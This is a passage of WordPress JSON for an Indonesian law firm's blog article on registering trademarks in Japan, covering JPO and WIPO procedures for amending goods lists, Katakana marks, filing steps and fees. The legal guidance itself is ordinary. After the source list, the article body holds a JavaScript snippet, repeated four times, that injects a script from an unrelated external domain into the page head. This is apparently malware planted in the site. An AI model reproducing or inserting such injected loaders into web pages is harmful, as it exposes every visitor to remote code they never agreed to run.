\/>\n<\/span><span style=\"font-weight: 500\">Permohonan perubahan daftar barang dan jasa merupakan prosedur formal menurut Pasal 68-28 Undang-Undang Merek Jepang. JPO tidak mengenakan biaya tambahan untuk mengajukan permohonan perubahan. Perubahan daftar barang dan jasa dapat dilakukan dengan mengajukan permohonan perubahan secara tertulis kepada JPO. Permohonan tersebut harus disampaikan kepada JPO melalui Konsultan Merek yang berdomisili di Jepang dalam jangka waktu 3 (tiga) bulan sejak tanggal pengumuman Pemberitahuan Penolakan Sementara. Anda dapat menghubungi kami untuk mendapatkan Konsultan Merek yang dapat membantu Anda di Jepang.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 40px\">Karena perlu diketahui, permintaan perubahan daftar barang dan jasa ini tidak dapat diajukan langsung ke JPO melalui email.<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li><b>Mengajukan Permintaan Pembatasan ke WIPO<\/b><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 40px\">Permohonan pembatasan daftar barang dan jasa merupakan prosedur formal menurut Protokol Madrid Mengenai Pendaftaran Merek Internasional. Daftar barang dan jasa dapat dibatasi dengan mengajukan permohonan pembatasan secara tertulis dengan formulir resmi dan membayar biaya yang telah ditentukan oleh WIPO.<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Pembatasan cakupan kelas tadi mulai berlaku pada saat didaftarkan dalam Daftar Internasional, selama perkaranya masih menunggu keputusan JPO, dalam rentang waktu berikut ini:\u00a0<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Masuk dalam jangka waktu 3 (tiga) bulan sejak tanggal pengumuman Pemberitahuan Penolakan Sementara sampai dengan diumumkannya Keputusan Pendaftaran Merek Ditolak, atau<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tiga bulan stelah Keputusan Pendaftaran Merek Ditolak diberikan, namun dalam jangka waktu 3 (tiga) bulan itu telah diajukan permohonan pemeriksaan banding kepada JPO.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Namun, Pemeriksa JPO tidak akan mengetahui bahwa permohonan pembatasan telah diajukan kepada WIPO sampai JPO menerima pemberitahuan pencatatan pembatasan dari WIPO. Dengan demikian, tidak menutup kemungkinan Pemeriksa JPO dapat menerbitkan Keputusan Pendaftaran Merek Ditolak atau Pernyataan Konfirmasi Penolakan Sementara. Oleh karena itu, untuk menghindari situasi seperti itu, Anda dapat menginformasikan kepada Pemeriksa yang bertanggung jawab atas Pengajuan Merek Anda melalui email tentang pengajuan permintaan kepada WIPO.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Penggunaan Katakana untuk Merek Internasional<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Jepang termasuk negara unik yang sebagian besar penduduknya tidak menguasai bahasa Inggris dan mampu membaca huruf Romawi dengan baik, karena menganut penggunaan bahasa lokal yang kuat. Walaupun tidak diwajibkan seperti di Republik Rakyat Tiongkok, Anda perlu mempertimbangkan untuk mendaftarkan juga Merek Anda dalam huruf Katakana (huruf resmi untuk mengadopsi kata-kata asing). Ada beberapa manfaat yang bisa Anda dapatkan dengan mendaftarkan Merek Anda dalam huruf Katakana:<\/span><\/p>\n<p style=\"padding-left: 40px\"><b>1.\u00a0 \u00a0 \u00a0 Mencegah Pembajakan Merek<\/b><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Walaupun Jepang termasuk negara dengan penegakan hukum yang kuat, terutama terkait pendaftaran Merek dengan iktikad tidak baik, pendaftaran Merek dalam Katakana dapat mencegah praktek tersebut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>2.\u00a0 \u00a0 \u00a0 Pencitraan Lokal<\/b><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Jika target utama Anda adalah masyarakat Jepang, menggunakan Katakana dapat membuat Merek Anda lebih dekat dan relevan dengan konsumen lokal.<\/span><\/p>\n<figure id=\"attachment_4470\" aria-describedby=\"caption-attachment-4470\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4470 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/10\/oct-img-3.jpg\" alt=\"\" width=\"600\" height=\"157\" \/><figcaption id=\"caption-attachment-4470\" class=\"wp-caption-text\">Jamu Dua Putri Dewi versi Jepang berubah menjadi \u201cDua Dewi\u201d. Nama \u201cDewi\u201d cukup populer di Jepang dan punya reputasi baik, karena sering dikaitkan dengan Dewi Soekarno, mantan Ibu Negara yang kini menjadi sosialita di Jepang. Sumber: Japan Platform for Patent Information<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>3.\u00a0 \u00a0 \u00a0 Suara dan Pengucapan yang Lebih Tepa<\/b><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Katakana bisa sangat berguna jika merek dagang Anda melibatkan istilah atau frasa yang pengucapannya berbeda dari bahasa Inggris atau bahasa lainnya yang sulit diucapkan oleh warga lokal.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>4.\u00a0 \u00a0 \u00a0 Pencitraan Multibahasa<\/b><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Untuk Merek dengan pendekatan multibahasa, mendaftarkan Merek dengan Katakana dapat menjadi bagian dari strategi Anda untuk memastikan perlindungan menyeluruh. Dengan demikian, market dapat melihat komitmen Anda untuk hadir secara personal di berbagai negara yang menggunakan aksara lokal yang berbeda.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>5.\u00a0 \u00a0 \u00a0 Tampilan Logo dengan Elemen Visual Unik<\/b><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Jepang juga dikenal sebagai negara dengan kreativitas visual yang kaya. Merek Katakana Anda dapat berfungsi sebagai logo unik yang merepresentasikan Merek Anda dengan visualisasi yang lebih menarik.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Namun demikian, tentunya Anda harus berkonsultasi dengan Konsultan Merek dari Jepang untuk translasi yang tepat untuk mengubah Merek Anda ke Katakana.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jika Anda memiliki pertanyaan atau membutuhkan informasi lainnya terkait pendaftaran Merek di Jepang, jangan ragu untuk menghubungi kami melalui <a href=\"mailto:trademark@affa.co.id\">trademark@affa.co.id<\/a>.<\/strong><\/p>\n<p><strong>Sumber:<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.jpo.go.jp\/\"><span style=\"font-weight: 500\">Japan Patent Office<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.japaneselawtranslation.go.jp\/en\/laws\/view\/4032\"><span style=\"font-weight: 500\">Japanese Trademark Act<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Panduan Lengkap Daftar Merek di Jepang Total ekspor Indonesia ke Jepang pada periode Januari-Mei 2023 menurut data Kementerian Perdagangan Republik Indonesia tercatat US$9,44 miliar. Indonesia dengan merek-merek terkenal di Jepang seperti Mustika Ratu, Bamboo, Exelso, Bir Bintang, dan beragam produk Mayora juga terus mencatatkan surplus perdagangan hingga kini. &nbsp; Merek-merek yang sukses di Jepang tentunya sudah mendapatkan perlindungan Merek di sana. Karena sesungguhnya perlindungan Merek itu bersifat teritorial, maka hanya dengan mendaftarkan Merek Anda di negara tujuan, barulah Merek Anda akan mendapat perlindungan. Artikel ini tidak hanya membahas manfaat pendaftaran, tapi juga prosedur tahap demi tahap, lama proses, berikut daftar biaya resmi untuk mendaftarkan Merek di Jepang. &nbsp; &nbsp; Manfaat Mendaftarkan Merek di Jepang Merek menurut perundangan di Jepang adalah suatu tanda yang digunakan oleh produsen, penyalur, atau penyedia jasa terhadap suatu barang dan\/atau jasa untuk membedakannya dengan barang dan\/atau jasa yang ditawarkan oleh pihak lain yang identik atau sejenis. Dengan mendaftarkan Merek di Jepang, maka Anda akan mendapatkan 2 (dua) keuntungan berikut ini: Mendapatkan Hak atas Merek yang berlaku di seluruh Jepang, dengan kepemilikan eksklusif atas barang dan\/atau jasa tanpa terkecuali dari pihak mana pun. Dapat menuntut pelanggar untuk menghentikan tindakan pelanggaran dan pembayaran ganti rugi atas penggunaan Merek yang identik atau serupa oleh pihak lain. &nbsp; Merek Terkenal &amp; Merek Defensif Undang-Undang Merek di Jepang melindungi Merek Terkenal yang diakui popularitasnya di kalangan konsumen di Jepang dan manca negara. Untuk itu telah ada sejumlah ketentuan yang berlaku untuk melindungi Merek Terkenal. Misalnya, Merek tidak dapat didaftarkan jika Merek tersebut identik dengan, atau mirip dengan Merek barang dan\/atau jasa yang dikenal baik di kalangan konsumen di Jepang atau di luar negeri, dan menjadi salah satu indikasi bahwa Merek tersebut didaftarkan dengan iktikad yang tidak baik. &nbsp; Sebagai bagian dari upaya melindungi Merek Terkenal, JPO memimpin \u201cProyek Iktikad Tidak Baik\u201d diantara para anggota TM5, yakni 5 (lima) Kantor Merek dunia yang terdiri dari Jepang (JPO), Republik Rakyat Tiongkok (CNIPA), Korea (KIPO), Uni Eropa (EUIPO), dan Amerika Serikat (USPTO). TM5 juga telah merilis banyak studi kasus terkait Pendaftaran Merek dengan iktikad tidak baik, termasuk visualisasinya dalam bentuk komik. &nbsp; Salah satu kebijakan untuk mengatasi Pendaftaran Merek Terkenal atas dasar iktikad tidak baik adalah dengan melakukan pengajuan pembatalan yang dapat dilakukan oleh siapa pun (warga negara Jepang atau melalui Konsultan Kekayaan Intelektual) tanpa biaya ke JPO, selama masih dalam proses pengajuan, dengan menunjukkan bukti-bukti yang relevan. &nbsp; Selain itu, di Jepang juga menerapkan kebijakan Merek Defensif, dimana Anda dapat mendaftarkan Merek Anda tanpa perlu menggunakannya, sebagai bentuk perlindungan jikalau di masa depan ada pihak lain yang mendaftarkannya lebih dulu. Biaya permohonan pendaftaran untuk Merek Defensif ini lebih mahal, namun lebih hemat dibandingkan dengan biaya yang mungkin dikeluarkan jika terjadi sengketa di kemudian hari. &nbsp; Tahapan Prosedur Pendaftaraan Merek di Jepang &nbsp; &nbsp; 1.\u00a0 \u00a0 \u00a0Permohonan Untuk mengajukan permohonan pendaftaran Merek, pemohon harus mengisi formulir yang sudah ditentukan dan menyerahkannya ke Kantor Paten Jepang (Japan Patent Office\/ JPO). Jika Anda tidak memiliki alamat atau tempat tinggal tetap atau kantor (jika pemohon adalah badan hukum) di Jepang, Anda membutuhkan Konsultan Kekayaan Intelektual dengan alamat atau tempat tinggal tetap di Jepang, yang ditunjuk sebagai &#8220;Administrator Paten.\u201d Selain itu, Warga Negara Asing juga tidak diizinkan menyerahkan dokumen langsung ke Kantor Merek dengan cara apa pun. Dokumen tersebut harus diserahkan ke JPO melalui Konsultan Kekayaan Intelektual yang telah ditunjuk di Jepang. Begitu juga halnya dengan pembayaran. Warga Negara Asing tidak diizinkan untuk melalukan pembayaran apa pun, dengan cara apa pun ke JPO. Pembayaran juga harus dilakukan oleh Konsultan Kekayaan Intelektual di Jepang yang sudah ditunjuk. Biaya untuk pengajuan pendaftaran ini ditetapkan sebesar 3.400 Yen ditambah 8.600 Yen untuk setiap kelasnya. Sedangkan biaya untuk pengajuan Merek Defensif adalah 6.800 Yen ditambah 17.200 Yen per kelasnya. &nbsp; 2.\u00a0 \u00a0 \u00a0 Publikasi Permohonan Sebelum Pemeriksaan Setelah permohonan pendaftaran diajukan, JPO akan langsung mempublikasikannya secara daring dalam \u201cBerita Resmi Merek\u201d yang mereka punya. &nbsp; 3.\u00a0 \u00a0 \u00a0 Pemeriksaan Formal Dokumen permohonan yang diserahkan ke JPO kemudian diperiksa apakah sudah memenuhi persyaratan prosedural dan formal yang diperlukan. Undangan untuk melakukan koreksi akan dilakukan jika dokumen yang diperlukan tidak ada atau bagian yang diperlukan belum diisi. &nbsp; 4.\u00a0 \u00a0 \u00a0 Pemeriksaan Substantif Kemudian pemeriksaan akan dilanjutkan untuk menentukan apakah Merek yang didaftarkan telah memenuhi persyaratan substantif berikut ini: Memiliki keunikan dan daya pembeda. Tidak bertentangan dengan kepentingan umum atau melanggar kepentingan pribadi. Agar unik dan memiliki daya pembeda, JPO telah menyediakan platform daring untuk melakukan penelusuran seluruh Merek yang sudah terdaftar atau masih dalam proses. &nbsp; 5.\u00a0 \u00a0 \u00a0 Penolakan Awal Apabila permohonan Anda tidak memenuhi persyaratan substantif, JPO akan mengirimkan alasan penolakan. &nbsp; 6.\u00a0 \u00a0 \u00a0 Tanggapan\/ Argumentasi Tertulis Jika permohonan Anda ditolak, Anda dapat mengajukan argumentasi tertulis terhadap Penolakan Awal, atau tanggapan lainnya yang dapat menghilangkan penolakan. &nbsp; 7.\u00a0 \u00a0 \u00a0 Permohonan Dapat Didaftar Jika pada akhirnya dinilai tidak ada alasan untuk ditolak, Merek Anda bisa lanjut untuk didaftarkan. &nbsp; 8.\u00a0 \u00a0 \u00a0 Penolakan Tetap Jika tanggapan dan argumen tertulis tidak dapat menghapus alasan penolakan, dan pemeriksan sudah memutuskan Merek tidak dapat didaftarkan, maka dikeluarkanlah Penolakan Tetap. &nbsp; 9.\u00a0 \u00a0 \u00a0 Permohonan Banding Jika Anda tidak puas dengan keputusan Penolakan Tetap dari pemeriksa, Anda dapat mengajukan banding. &nbsp; 10.\u00a0 \u00a0 Pemeriksaan Banding Pemeriksaan Banding terhadap putusan penolakan dilakukan oleh suatu badan kolegial yang terdiri dari tiga atau lima orang pemeriksa banding. &nbsp; Keputusan pemeriksa banding disebut keputusan banding. Apabila dari hasil pemeriksaan banding dinilai alasan penolakan dapat dihapus, maka dilakukan keputusan banding untuk melanjutkan pendaftaran Merek. Namun apabila alasan penolakan dinilai tidak dapat membatalkan alasan penolakan, maka keputusan banding akan menetapkan Merek tersebut tidak dapat didaftarkan. &nbsp; 11.\u00a0 \u00a0 Pembayaran Biaya Pendaftaran Dengan dibayarkannya biaya pendaftaran ini, maka Merek Anda telah resmi didaftarkan dan masa perlindungannya berlaku selama 10 tahun. Biaya pendaftaran Merek sebesar 32.900 Yen per kelas ini harus dibayarkan paling lambat 30 hari setelah pengumuman Merek dapat didaftarkan. Sedangkan biaya untuk mendaftarkan Merek Defensif adalah sebesar 32.900 Yen per kelas. &nbsp; Durasi yang dibutuhkan dari awal permohonan sampai pengumuman merek dapat didaftarkan, tanpa penolakan atau ada keberatan dari<\/p>\n","protected":false},"author":0,"featured_media":8136,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[305,307,308,309,310,314,315,318,363,374],"class_list":["post-8135","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-affa","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-trademark","tag-ipr","tag-timingis-everything"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/8135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=8135"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/8135\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/8136"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=8135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=8135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=8135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}